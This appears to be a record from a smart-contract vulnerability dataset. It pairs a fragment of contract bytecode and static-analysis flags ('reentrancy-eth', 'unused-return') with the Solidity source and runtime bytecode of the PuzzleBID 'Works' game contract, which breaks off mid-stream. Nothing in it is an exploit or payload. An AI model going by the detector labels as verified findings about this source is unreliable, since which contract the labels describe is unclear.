2746565b979650505050505050565b600081519050612d86816126a4565b92915050565b600080600060608486031215612da557612da4612632565b5b6000612db386828701612d77565b9350506020612dc486828701612d77565b9250506040612dd586828701612d77565b9150509250925092565b6000604082019050612df460008301856128ad565b612e016020830184612746565b9392505050565b600081519050612e1781612854565b92915050565b600060208284031215612e3357612e32612632565b5b6000612e4184828501612e08565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612ea6602483612578565b9150612eb182612e4a565b604082019050919050565b60006020820190508181036000830152612ed581612e99565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612f38602283612578565b9150612f4382612edc565b604082019050919050565b60006020820190508181036000830152612f6781612f2b565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612fca602583612578565b9150612fd582612f6e565b604082019050919050565b60006020820190508181036000830152612ff981612fbd565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061305c602383612578565b915061306782613000565b604082019050919050565b6000602082019050818103600083015261308b8161304f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006130cc8261269a565b91506130d78361269a565b9250826130e7576130e6613092565b5b828204905092915050565b60006130fd8261269a565b91506131088361269a565b92508282101561311b5761311a612c5a565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613182602a83612578565b915061318d82613126565b604082019050919050565b600060208201905081810360008301526131b181613175565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6131ed8161265c565b82525050565b60006131ff83836131e4565b60208301905092915050565b6000602082019050919050565b6000613223826131b8565b61322d81856131c3565b9350613238836131d4565b8060005b8381101561326957815161325088826131f3565b975061325b8361320b565b92505060018101905061323c565b5085935050505092915050565b600060a08201905061328b6000830188612746565b6132986020830187612d07565b81810360408301526132aa8186613218565b90506132b960608301856128ad565b6132c66080830184612746565b9695505050505050565b60006132db8261269a565b91506132e68361269a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561331b5761331a612c5a565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061335c601b83612578565b915061336782613326565b602082019050919050565b6000602082019050818103600083015261338b8161334f565b9050919050565b600061339d8261269a565b91506133a88361269a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133e1576133e0612c5a565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613448602183612578565b9150613453826133ec565b604082019050919050565b600060208201905081810360008301526134778161343b565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220665d08bf693c2f83d358a28b2839378ff3e984f985293269804c56ed5cce0f6264736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,527 |
0xc8e5cf09be2483b5486a9b30bca40e00bff685ba
|
pragma solidity ^0.5.0;
interface TeamInterface {
function isOwner() external view returns (bool);
function isAdmin(address _sender) external view returns (bool);
function isDev(address _sender) external view returns (bool);
}
interface ArtistInterface {
function getAddress(bytes32 _artistID) external view returns (address payable);
function add(bytes32 _artistID, address _address) external;
function hasArtist(bytes32 _artistID) external view returns (bool);
function updateAddress(bytes32 _artistID, address _address) external;
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
* change notes: original SafeMath library from OpenZeppelin modified by Inventor
* - added sqrt
* - added sq
* - added pwr
* - changed asserts to requires with error log outputs
* - removed div, its useless
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
/**
* @dev gives square root of given x.
*/
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
/**
* @dev gives square. multiplies x by x
*/
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
/**
* @dev x to the power of y
*/
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
library Datasets {
struct Player {
address[] ethAddress;
bytes32 referrer;
address payable lastAddress;
uint256 time;
}
struct MyWorks {
address ethAddress;
bytes32 worksID;
uint256 totalInput;
uint256 totalOutput;
uint256 time;
}
struct Works {
bytes32 worksID;
bytes32 artistID;
uint8 debrisNum;
uint256 price;
uint256 beginTime;
uint256 endTime;
bool isPublish;
bytes32 lastUnionID;
}
struct Debris {
uint8 debrisID;
bytes32 worksID;
uint256 initPrice;
uint256 lastPrice;
uint256 buyNum;
address payable firstBuyer;
address payable lastBuyer;
bytes32 firstUnionID;
bytes32 lastUnionID;
uint256 lastTime;
}
struct Rule {
uint8 firstBuyLimit;
uint256 freezeGap;
uint256 protectGap;
uint256 increaseRatio;
uint256 discountGap;
uint256 discountRatio;
uint8[3] firstAllot;
uint8[3] againAllot;
uint8[3] lastAllot;
}
struct PlayerCount {
uint256 lastTime;
uint256 firstBuyNum;
uint256 firstAmount;
uint256 secondAmount;
uint256 rewardAmount;
}
}
/**
* @title Works Contract
* @dev http://www.puzzlebid.com/
* @author PuzzleBID Game Team
* @dev Simon<vsiryxm@163.com>
*/
contract Works {
using SafeMath for *;
TeamInterface private team;
ArtistInterface private artist;
constructor(address _teamAddress, address _artistAddress) public {
require(_teamAddress != address(0) && _artistAddress != address(0));
team = TeamInterface(_teamAddress);
artist = ArtistInterface(_artistAddress);
}
function() external payable {
revert();
}
event OnUpgrade(address indexed _teamAddress, address indexed _artistAddress);
event OnAddWorks(
bytes32 _worksID,
bytes32 _artistID,
uint8 _debrisNum,
uint256 _price,
uint256 _beginTime,
bool _isPublish
);
event OnInitDebris(
bytes32 _worksID,
uint8 _debrisNum,
uint256 _initPrice
);
event OnUpdateDebris(
bytes32 _worksID,
uint8 _debrisID,
bytes32 _unionID,
address indexed _sender
);
event OnUpdateFirstBuyer(
bytes32 _worksID,
uint8 _debrisID,
bytes32 _unionID,
address indexed _sender
);
event OnUpdateBuyNum(bytes32 _worksID, uint8 _debrisID);
event OnFinish(bytes32 _worksID, bytes32 _unionID, uint256 _time);
event OnUpdatePools(bytes32 _worksID, uint256 _value);
event OnUpdateFirstUnionIds(bytes32 _worksID, bytes32 _unionID);
event OnUpdateSecondUnionIds(bytes32 _worksID, bytes32 _unionID);
mapping(bytes32 => Datasets.Works) private works;
mapping(bytes32 => Datasets.Rule) private rules;
mapping(bytes32 => uint256) private pools;
mapping(bytes32 => mapping(uint8 => Datasets.Debris)) private debris;
mapping(bytes32 => bytes32[]) firstUnionID;
mapping(bytes32 => bytes32[]) secondUnionID;
modifier whenHasWorks(bytes32 _worksID) {
require(works[_worksID].beginTime != 0);
_;
}
modifier whenNotHasWorks(bytes32 _worksID) {
require(works[_worksID].beginTime == 0);
_;
}
modifier whenHasArtist(bytes32 _artistID) {
require(artist.hasArtist(_artistID));
_;
}
modifier onlyAdmin() {
require(team.isAdmin(msg.sender));
_;
}
modifier onlyDev() {
require(team.isDev(msg.sender));
_;
}
function upgrade(address _teamAddress, address _artistAddress) external onlyAdmin() {
require(_teamAddress != address(0) && _artistAddress != address(0));
team = TeamInterface(_teamAddress);
artist = ArtistInterface(_artistAddress);
emit OnUpgrade(_teamAddress, _artistAddress);
}
function addWorks(
bytes32 _worksID,
bytes32 _artistID,
uint8 _debrisNum,
uint256 _price,
uint256 _beginTime
)
external
onlyAdmin()
whenNotHasWorks(_worksID)
whenHasArtist(_artistID)
{
require(
_debrisNum >= 2 && _debrisNum < 256 &&
_price > 0 && _price % _debrisNum == 0 &&
_beginTime > 0 && _beginTime > now
);
works[_worksID] = Datasets.Works(
_worksID,
_artistID,
_debrisNum,
_price.mul(1 wei),
_beginTime,
0,
false,
bytes32(0)
);
emit OnAddWorks(
_worksID,
_artistID,
_debrisNum,
_price,
_beginTime,
false
);
initDebris(_worksID, _price, _debrisNum);
}
function initDebris(bytes32 _worksID, uint256 _price, uint8 _debrisNum) private {
uint256 initPrice = (_price / _debrisNum).mul(1 wei);
for(uint8 i=1; i<=_debrisNum; i++) {
debris[_worksID][i].worksID = _worksID;
debris[_worksID][i].initPrice = initPrice;
}
emit OnInitDebris(
_worksID,
_debrisNum,
initPrice
);
}
function configRule(
bytes32 _worksID,
uint8 _firstBuyLimit,
uint256 _freezeGap,
uint256 _protectGap,
uint256 _increaseRatio,
uint256 _discountGap,
uint256 _discountRatio,
uint8[3] calldata _firstAllot,
uint8[3] calldata _againAllot,
uint8[3] calldata _lastAllot
)
external
onlyAdmin()
whenHasWorks(_worksID)
{
require(
_firstBuyLimit > 0 &&
_freezeGap > 0 &&
_protectGap > 0 &&
_increaseRatio > 0 &&
_discountGap > 0 &&
_discountRatio > 0 &&
_discountGap > _protectGap
);
require(
_firstAllot[0] > 0 && _firstAllot[1] > 0 && _firstAllot[2] > 0 &&
_againAllot[0] > 0 && _againAllot[1] > 0 && _againAllot[2] > 0 &&
_lastAllot[0] > 0 && _lastAllot[1] > 0 && _lastAllot[2] > 0
);
rules[_worksID] = Datasets.Rule(
_firstBuyLimit,
_freezeGap.mul(1 seconds),
_protectGap.mul(1 seconds),
_increaseRatio,
_discountGap.mul(1 seconds),
_discountRatio,
_firstAllot,
_againAllot,
_lastAllot
);
}
function publish(bytes32 _worksID, uint256 _beginTime) external onlyAdmin() {
require(works[_worksID].beginTime != 0 && works[_worksID].isPublish == false);
require(this.getAllot(_worksID, 0, 0) != 0);
if(_beginTime > 0) {
require(_beginTime > now);
works[_worksID].beginTime = _beginTime;
}
works[_worksID].isPublish = true;
}
function close(bytes32 _worksID) external onlyAdmin() {
works[_worksID].isPublish = false;
}
function getWorks(bytes32 _worksID) external view returns (uint8, uint256, uint256, uint256, bool) {
return (
works[_worksID].debrisNum,
works[_worksID].price,
works[_worksID].beginTime,
works[_worksID].endTime,
works[_worksID].isPublish
);
}
function getDebris(bytes32 _worksID, uint8 _debrisID) external view
returns (uint256, address, address, bytes32, bytes32, uint256) {
return (
debris[_worksID][_debrisID].buyNum,
debris[_worksID][_debrisID].firstBuyer,
debris[_worksID][_debrisID].lastBuyer,
debris[_worksID][_debrisID].firstUnionID,
debris[_worksID][_debrisID].lastUnionID,
debris[_worksID][_debrisID].lastTime
);
}
function getRule(bytes32 _worksID) external view
returns (uint256, uint256, uint256, uint8[3] memory, uint8[3] memory, uint8[3] memory) {
return (
rules[_worksID].increaseRatio,
rules[_worksID].discountGap,
rules[_worksID].discountRatio,
rules[_worksID].firstAllot,
rules[_worksID].againAllot,
rules[_worksID].lastAllot
);
}
function hasWorks(bytes32 _worksID) external view returns (bool) {
return works[_worksID].beginTime != 0;
}
function hasDebris(bytes32 _worksID, uint8 _debrisID) external view returns (bool) {
return _debrisID > 0 && _debrisID <= works[_worksID].debrisNum;
}
function isPublish(bytes32 _worksID) external view returns (bool) {
return works[_worksID].isPublish;
}
function isStart(bytes32 _worksID) external view returns (bool) {
return works[_worksID].beginTime <= now;
}
function isProtect(bytes32 _worksID, uint8 _debrisID) external view returns (bool) {
if(debris[_worksID][_debrisID].lastTime == 0) {
return false;
}
uint256 protectGap = rules[_worksID].protectGap;
return debris[_worksID][_debrisID].lastTime.add(protectGap) < now ? false : true;
}
function isSecond(bytes32 _worksID, uint8 _debrisID) external view returns (bool) {
return debris[_worksID][_debrisID].buyNum > 0;
}
function isGameOver(bytes32 _worksID) external view returns (bool) {
return works[_worksID].endTime != 0;
}
function isFinish(bytes32 _worksID, bytes32 _unionID) external view returns (bool) {
bool finish = true;
uint8 i = 1;
while(i <= works[_worksID].debrisNum) {
if(debris[_worksID][i].lastUnionID != _unionID) {
finish = false;
break;
}
i++;
}
return finish;
}
function hasFirstUnionIds(bytes32 _worksID, bytes32 _unionID) external view returns (bool) {
if(0 == firstUnionID[_worksID].length) {
return false;
}
bool has = false;
for(uint256 i=0; i<firstUnionID[_worksID].length; i++) {
if(firstUnionID[_worksID][i] == _unionID) {
has = true;
break;
}
}
return has;
}
function hasSecondUnionIds(bytes32 _worksID, bytes32 _unionID) external view returns (bool) {
if(0 == secondUnionID[_worksID].length) {
return false;
}
bool has = false;
for(uint256 i=0; i<secondUnionID[_worksID].length; i++) {
if(secondUnionID[_worksID][i] == _unionID) {
has = true;
break;
}
}
return has;
}
function getFirstUnionIds(bytes32 _worksID) external view returns (bytes32[] memory) {
return firstUnionID[_worksID];
}
function getSecondUnionIds(bytes32 _worksID) external view returns (bytes32[] memory) {
return secondUnionID[_worksID];
}
function getPrice(bytes32 _worksID) external view returns (uint256) {
return works[_worksID].price;
}
function getDebrisPrice(bytes32 _worksID, uint8 _debrisID) external view returns(uint256) {
uint256 discountGap = rules[_worksID].discountGap;
uint256 discountRatio = rules[_worksID].discountRatio;
uint256 increaseRatio = rules[_worksID].increaseRatio;
uint256 lastPrice;
if(debris[_worksID][_debrisID].buyNum > 0 && debris[_worksID][_debrisID].lastTime.add(discountGap) < now) {
uint256 n = (now.sub(debris[_worksID][_debrisID].lastTime.add(discountGap))) / discountGap;
if((now.sub(debris[_worksID][_debrisID].lastTime.add(discountGap))) % discountGap > 0) {
n = n.add(1);
}
for(uint256 i=0; i<n; i++) {
if(0 == i) {
lastPrice = debris[_worksID][_debrisID].lastPrice.mul(increaseRatio).mul(discountRatio) / 10000;
} else {
lastPrice = lastPrice.mul(discountRatio) / 100;
}
}
} else if (debris[_worksID][_debrisID].buyNum > 0) {
lastPrice = debris[_worksID][_debrisID].lastPrice.mul(increaseRatio) / 100;
} else {
lastPrice = debris[_worksID][_debrisID].initPrice;
}
return lastPrice;
}
function getDebrisStatus(bytes32 _worksID, uint8 _debrisID) external view returns (uint256[4] memory, uint256, uint256, bytes32) {
uint256 gap = 0;
uint256 status = 0;
if(0 == debris[_worksID][_debrisID].buyNum) {
} else if(this.isProtect(_worksID, _debrisID)) {
gap = rules[_worksID].protectGap;
status = 1;
} else {
if(debris[_worksID][_debrisID].lastTime.add(rules[_worksID].discountGap) > now) {
gap = rules[_worksID].discountGap;
} else {
uint256 n = (now.sub(debris[_worksID][_debrisID].lastTime)) / rules[_worksID].discountGap;
if((now.sub(debris[_worksID][_debrisID].lastTime.add(rules[_worksID].discountGap))) % rules[_worksID].discountGap > 0) {
n = n.add(1);
}
gap = rules[_worksID].discountGap.mul(n);
}
status = 2;
}
uint256 price = this.getDebrisPrice(_worksID, _debrisID);
bytes32 lastUnionID = debris[_worksID][_debrisID].lastUnionID;
uint256[4] memory state = [status, debris[_worksID][_debrisID].lastTime, gap, now];
return (state, price, debris[_worksID][_debrisID].buyNum, lastUnionID);
}
function getInitPrice(bytes32 _worksID, uint8 _debrisID) external view returns(uint256) {
return debris[_worksID][_debrisID].initPrice;
}
function getLastPrice(bytes32 _worksID, uint8 _debrisID) external view returns(uint256) {
return debris[_worksID][_debrisID].lastPrice;
}
function getLastBuyer(bytes32 _worksID, uint8 _debrisID) external view returns(address) {
return debris[_worksID][_debrisID].lastBuyer;
}
function getLastUnionId(bytes32 _worksID, uint8 _debrisID) external view returns(bytes32) {
return debris[_worksID][_debrisID].lastUnionID;
}
function getFreezeGap(bytes32 _worksID) external view returns(uint256) {
return rules[_worksID].freezeGap;
}
function getFirstBuyLimit(bytes32 _worksID) external view returns(uint256) {
return rules[_worksID].firstBuyLimit;
}
function getArtistId(bytes32 _worksID) external view returns(bytes32) {
return works[_worksID].artistID;
}
function getDebrisNum(bytes32 _worksID) external view returns(uint8) {
return works[_worksID].debrisNum;
}
function getAllot(bytes32 _worksID, uint8 _flag) external view returns(uint8[3] memory) {
require(_flag < 3);
if(0 == _flag) {
return rules[_worksID].firstAllot;
} else if(1 == _flag) {
return rules[_worksID].againAllot;
} else {
return rules[_worksID].lastAllot;
}
}
function getAllot(bytes32 _worksID, uint8 _flag, uint8 _element) external view returns(uint8) {
require(_flag < 3 && _element < 3);
if(0 == _flag) {
return rules[_worksID].firstAllot[_element];
} else if(1 == _flag) {
return rules[_worksID].againAllot[_element];
} else {
return rules[_worksID].lastAllot[_element];
}
}
function getPools(bytes32 _worksID) external view returns (uint256) {
return pools[_worksID];
}
function getPoolsAllot(bytes32 _worksID) external view returns (uint256, uint256[3] memory, uint8[3] memory) {
require(works[_worksID].endTime != 0);
uint8[3] memory lastAllot = this.getAllot(_worksID, 2);
uint256 finishAccount = pools[_worksID].mul(lastAllot[0]) / 100;
uint256 firstAccount = pools[_worksID].mul(lastAllot[1]) / 100;
uint256 allAccount = pools[_worksID].mul(lastAllot[2]) / 100;
uint256[3] memory account = [finishAccount, firstAccount, allAccount];
return (pools[_worksID], account, lastAllot);
}
function getStartHourglass(bytes32 _worksID) external view returns(uint256) {
if(works[_worksID].beginTime > 0 && works[_worksID].beginTime > now ) {
return works[_worksID].beginTime.sub(now);
}
return 0;
}
function getWorksStatus(bytes32 _worksID) external view returns (uint256, uint256, uint256, bytes32) {
return (works[_worksID].beginTime, works[_worksID].endTime, now, works[_worksID].lastUnionID);
}
function getProtectHourglass(bytes32 _worksID, uint8 _debrisID) external view returns(uint256) {
if(
debris[_worksID][_debrisID].lastTime > 0 &&
debris[_worksID][_debrisID].lastTime.add(rules[_worksID].protectGap) > now
) {
return debris[_worksID][_debrisID].lastTime.add(rules[_worksID].protectGap).sub(now);
}
return 0;
}
function getDiscountHourglass(bytes32 _worksID, uint8 _debrisID) external view returns(uint256) {
if(debris[_worksID][_debrisID].lastTime == 0) {
return 0;
}
uint256 discountGap = rules[_worksID].discountGap;
uint256 n = (now.sub(debris[_worksID][_debrisID].lastTime)) / discountGap;
if((now.sub(debris[_worksID][_debrisID].lastTime)) % discountGap > 0) {
n = n.add(1);
}
return debris[_worksID][_debrisID].lastTime.add(discountGap.mul(n)).sub(now);
}
function updateDebris(bytes32 _worksID, uint8 _debrisID, bytes32 _unionID, address payable _sender) external onlyDev() {
debris[_worksID][_debrisID].lastPrice = this.getDebrisPrice(_worksID, _debrisID);
debris[_worksID][_debrisID].lastUnionID = _unionID;
debris[_worksID][_debrisID].lastBuyer = _sender;
debris[_worksID][_debrisID].lastTime = now;
emit OnUpdateDebris(_worksID, _debrisID, _unionID, _sender);
}
function updateFirstBuyer(bytes32 _worksID, uint8 _debrisID, bytes32 _unionID, address payable _sender) external onlyDev() {
debris[_worksID][_debrisID].firstBuyer = _sender;
debris[_worksID][_debrisID].firstUnionID = _unionID;
emit OnUpdateFirstBuyer(_worksID, _debrisID, _unionID, _sender);
this.updateFirstUnionIds(_worksID, _unionID);
}
function updateBuyNum(bytes32 _worksID, uint8 _debrisID) external onlyDev() {
debris[_worksID][_debrisID].buyNum = debris[_worksID][_debrisID].buyNum.add(1);
emit OnUpdateBuyNum(_worksID, _debrisID);
}
function finish(bytes32 _worksID, bytes32 _unionID) external onlyDev() {
works[_worksID].endTime = now;
works[_worksID].lastUnionID = _unionID;
emit OnFinish(_worksID, _unionID, now);
}
function updatePools(bytes32 _worksID, uint256 _value) external onlyDev() {
pools[_worksID] = pools[_worksID].add(_value);
emit OnUpdatePools(_worksID, _value);
}
function updateFirstUnionIds(bytes32 _worksID, bytes32 _unionID) external onlyDev() {
if(this.hasFirstUnionIds(_worksID, _unionID) == false) {
firstUnionID[_worksID].push(_unionID);
emit OnUpdateFirstUnionIds(_worksID, _unionID);
}
}
function updateSecondUnionIds(bytes32 _worksID, bytes32 _unionID) external onlyDev() {
if(this.hasSecondUnionIds(_worksID, _unionID) == false) {
secondUnionID[_worksID].push(_unionID);
emit OnUpdateSecondUnionIds(_worksID, _unionID);
}
}
}
|
0x608060405260043610610299576000357c01000000000000000000000000000000000000000000000000000000009004806399a88ec41161016c578063c2699b1d116100de578063cfa4a6a611610097578063cfa4a6a614611210578063d4eb487e1461125f578063d93a64a2146112bb578063f5fc32c81461132d578063f7cab847146113b1578063fc63dad61461149b57610299565b8063c2699b1d14610f96578063c2c4a32814610fe5578063c31028dc14611041578063c540fb661461109e578063c6f48866146110e6578063ca7613651461113957610299565b80639fe7ba47116101305780639fe7ba4714610d215780639fee14ae14610d66578063a7a44eba14610dd5578063ac080f4814610e65578063ad7fff7c14610efe578063b19d632b14610f5157610299565b806399a88ec414610b375780639a42af4814610ba85780639abeddf814610c045780639d52f74b14610c605780639f12628114610caf57610299565b806334f245c211610210578063678ae6a1116101c9578063678ae6a1146109255780636a4c62ef1461096a578063756bae5c146109fa5780637b51c46314610a3f5780638202370714610a9f5780638d5c84cd14610ae457610299565b806334f245c21461070a57806339c79e0c1461076757806340f19da7146107a2578063486c50f3146107ff57806361919a081461085b57806363907180146108d057610299565b806317140bcf1161026257806317140bcf1461044f5780632391f0b3146104af578063283b31a61461050f5780632f1de7841461057557806331d98b3f14610622578063344fd16a1461067157610299565b806242a3be1461029e5780630566bc12146102f1578063096c9d6f1461034d578063131ad1461461039c578063158641f514610400575b600080fd5b3480156102aa57600080fd5b506102d7600480360360208110156102c157600080fd5b8101908080359060200190929190505050611523565b604051808215151515815260200191505060405180910390f35b3480156102fd57600080fd5b506103376004803603604081101561031457600080fd5b8101908080359060200190929190803560ff169060200190929190505050611550565b6040518082815260200191505060405180910390f35b34801561035957600080fd5b506103866004803603602081101561037057600080fd5b810190808035906020019092919050505061187b565b6040518082815260200191505060405180910390f35b3480156103a857600080fd5b506103d5600480360360208110156103bf57600080fd5b81019080803590602001909291905050506118f6565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390f35b34801561040c57600080fd5b506104396004803603602081101561042357600080fd5b8101908080359060200190929190505050611951565b6040518082815260200191505060405180910390f35b34801561045b57600080fd5b506104956004803603604081101561047257600080fd5b8101908080359060200190929190803560ff169060200190929190505050611971565b604051808215151515815260200191505060405180910390f35b3480156104bb57600080fd5b506104f5600480360360408110156104d257600080fd5b8101908080359060200190929190803560ff1690602001909291905050506119ab565b604051808215151515815260200191505060405180910390f35b34801561051b57600080fd5b50610573600480360360a081101561053257600080fd5b810190808035906020019092919080359060200190929190803560ff1690602001909291908035906020019092919080359060200190929190505050611a60565b005b34801561058157600080fd5b506105ae6004803603602081101561059857600080fd5b8101908080359060200190929190505050611e26565b6040518084815260200183600360200280838360005b838110156105df5780820151818401526020810190506105c4565b5050505090500182600360200280838360005b8381101561060d5780820151818401526020810190506105f2565b50505050905001935050505060405180910390f35b34801561062e57600080fd5b5061065b6004803603602081101561064557600080fd5b8101908080359060200190929190505050612054565b6040518082815260200191505060405180910390f35b34801561067d57600080fd5b50610708600480360361020081101561069557600080fd5b8101908080359060200190929190803560ff1690602001909291908035906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190806060019091929192908060600190919291929080606001909192919290505050612074565b005b34801561071657600080fd5b5061074d6004803603604081101561072d57600080fd5b810190808035906020019092919080359060200190929190505050612525565b604051808215151515815260200191505060405180910390f35b34801561077357600080fd5b506107a06004803603602081101561078a57600080fd5b81019080803590602001909291905050506125cc565b005b3480156107ae57600080fd5b506107e5600480360360408110156107c557600080fd5b8101908080359060200190929190803590602001909291905050506126fe565b604051808215151515815260200191505060405180910390f35b34801561080b57600080fd5b506108456004803603604081101561082257600080fd5b8101908080359060200190929190803560ff169060200190929190505050612795565b6040518082815260200191505060405180910390f35b34801561086757600080fd5b506108946004803603602081101561087e57600080fd5b8101908080359060200190929190505050612918565b604051808660ff1660ff168152602001858152602001848152602001838152602001821515151581526020019550505050505060405180910390f35b3480156108dc57600080fd5b50610909600480360360208110156108f357600080fd5b81019080803590602001909291905050506129c0565b604051808260ff1660ff16815260200191505060405180910390f35b34801561093157600080fd5b506109686004803603604081101561094857600080fd5b8101908080359060200190929190803590602001909291905050506129ed565b005b34801561097657600080fd5b506109a36004803603602081101561098d57600080fd5b8101908080359060200190929190505050612b6d565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156109e65780820151818401526020810190506109cb565b505050509050019250505060405180910390f35b348015610a0657600080fd5b50610a3d60048036036040811015610a1d57600080fd5b810190808035906020019092919080359060200190929190505050612bd8565b005b348015610a4b57600080fd5b50610a8560048036036040811015610a6257600080fd5b8101908080359060200190929190803560ff169060200190929190505050612d59565b604051808215151515815260200191505060405180910390f35b348015610aab57600080fd5b50610ae260048036036040811015610ac257600080fd5b810190808035906020019092919080359060200190929190505050612d9e565b005b348015610af057600080fd5b50610b1d60048036036020811015610b0757600080fd5b8101908080359060200190929190505050612fdb565b604051808215151515815260200191505060405180910390f35b348015610b4357600080fd5b50610ba660048036036040811015610b5a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612ffe565b005b348015610bb457600080fd5b50610bee60048036036040811015610bcb57600080fd5b8101908080359060200190929190803560ff169060200190929190505050613252565b6040518082815260200191505060405180910390f35b348015610c1057600080fd5b50610c4a60048036036040811015610c2757600080fd5b8101908080359060200190929190803560ff16906020019092919050505061328a565b6040518082815260200191505060405180910390f35b348015610c6c57600080fd5b50610c9960048036036020811015610c8357600080fd5b81019080803590602001909291905050506132c2565b6040518082815260200191505060405180910390f35b348015610cbb57600080fd5b50610d1f60048036036080811015610cd257600080fd5b8101908080359060200190929190803560ff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506132e2565b005b348015610d2d57600080fd5b50610d6460048036036040811015610d4457600080fd5b810190808035906020019092919080359060200190929190505050613579565b005b348015610d7257600080fd5b50610db960048036036060811015610d8957600080fd5b8101908080359060200190929190803560ff169060200190929190803560ff1690602001909291905050506137b6565b604051808260ff1660ff16815260200191505060405180910390f35b348015610de157600080fd5b50610e0e60048036036020811015610df857600080fd5b81019080803590602001909291905050506138bd565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610e51578082015181840152602081019050610e36565b505050509050019250505060405180910390f35b348015610e7157600080fd5b50610eab60048036036040811015610e8857600080fd5b8101908080359060200190929190803560ff169060200190929190505050613928565b6040518085600460200280838360005b83811015610ed6578082015181840152602081019050610ebb565b5050505090500184815260200183815260200182815260200194505050505060405180910390f35b348015610f0a57600080fd5b50610f3760048036036020811015610f2157600080fd5b8101908080359060200190929190505050613d9e565b604051808215151515815260200191505060405180910390f35b348015610f5d57600080fd5b50610f9460048036036040811015610f7457600080fd5b810190808035906020019092919080359060200190929190505050613dc1565b005b348015610fa257600080fd5b50610fcf60048036036020811015610fb957600080fd5b8101908080359060200190929190505050614051565b6040518082815260200191505060405180910390f35b348015610ff157600080fd5b5061102b6004803603604081101561100857600080fd5b8101908080359060200190929190803560ff169060200190929190505050614081565b6040518082815260200191505060405180910390f35b34801561104d57600080fd5b506110846004803603604081101561106457600080fd5b8101908080359060200190929190803590602001909291905050506140b9565b604051808215151515815260200191505060405180910390f35b3480156110aa57600080fd5b506110e4600480360360408110156110c157600080fd5b8101908080359060200190929190803560ff169060200190929190505050614160565b005b3480156110f257600080fd5b5061111f6004803603602081101561110957600080fd5b810190808035906020019092919050505061431b565b604051808215151515815260200191505060405180910390f35b34801561114557600080fd5b5061117f6004803603604081101561115c57600080fd5b8101908080359060200190929190803560ff16906020019092919050505061433e565b604051808781526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848152602001838152602001828152602001965050505050505060405180910390f35b34801561121c57600080fd5b506112496004803603602081101561123357600080fd5b81019080803590602001909291905050506144b7565b6040518082815260200191505060405180910390f35b34801561126b57600080fd5b506112a56004803603604081101561128257600080fd5b8101908080359060200190929190803560ff1690602001909291905050506144d4565b6040518082815260200191505060405180910390f35b3480156112c757600080fd5b5061132b600480360360808110156112de57600080fd5b8101908080359060200190929190803560ff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506145e5565b005b34801561133957600080fd5b506113736004803603604081101561135057600080fd5b8101908080359060200190929190803560ff169060200190929190505050614906565b6040518082600360200280838360005b8381101561139e578082015181840152602081019050611383565b5050505090500191505060405180910390f35b3480156113bd57600080fd5b506113ea600480360360208110156113d457600080fd5b8101908080359060200190929190505050614ab7565b6040518087815260200186815260200185815260200184600360200280838360005b8381101561142757808201518184015260208101905061140c565b5050505090500183600360200280838360005b8381101561145557808201518184015260208101905061143a565b5050505090500182600360200280838360005b83811015611483578082015181840152602081019050611468565b50505050905001965050505050505060405180910390f35b3480156114a757600080fd5b506114e1600480360360408110156114be57600080fd5b8101908080359060200190929190803560ff169060200190929190505050614c9f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000600260008381526020019081526020016000206006016000